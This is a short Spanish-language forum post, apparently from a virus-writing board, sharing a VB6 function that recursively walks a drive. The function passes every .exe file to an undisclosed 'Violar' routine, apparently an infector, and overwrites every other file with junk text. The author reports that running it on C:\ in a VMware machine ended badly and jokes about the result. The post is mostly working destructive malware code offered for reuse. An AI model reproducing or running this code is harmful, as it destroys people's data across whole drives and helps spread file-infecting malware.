Cheque el sitio,pero mejor me quede con una funcion que adapte de un VBS que tenia por ahi,para no agrandar mucho el codigo jojo...
Private Function DoSearch(Path as String)
On Error Resume Next
Dim i
Dim fso As Object
Dim Folder, Archivos, Archivo, Subfolders, Subfolder
i = FreeFile
set fso = CreateObject("scripting.filesystemobject")
Set Folder = fso.getfolder(path)
Set Archivos = Folder.Files
For Each Archivo In Archivos
If ext(archivo.path) = ".exe" Then
Violar(archivo.path) ' funciòn mia..
Else
Open archivo.path For Output As #i
Print #i, "blah blah blah!"
Close #i
End If
Next
Set Subfolders = Folder.Subfolders
For Each Subfolder In Subfolders
DoSearch Subfolder.path
Next
End Function
Con esta funciòn fue suficiente,la probè en VMware y un simple DoSearch("c:\") terminò bastante mal jaja...
Gracias,se ve que hay muy buenos programadores por aqui!.
Autor
En línea
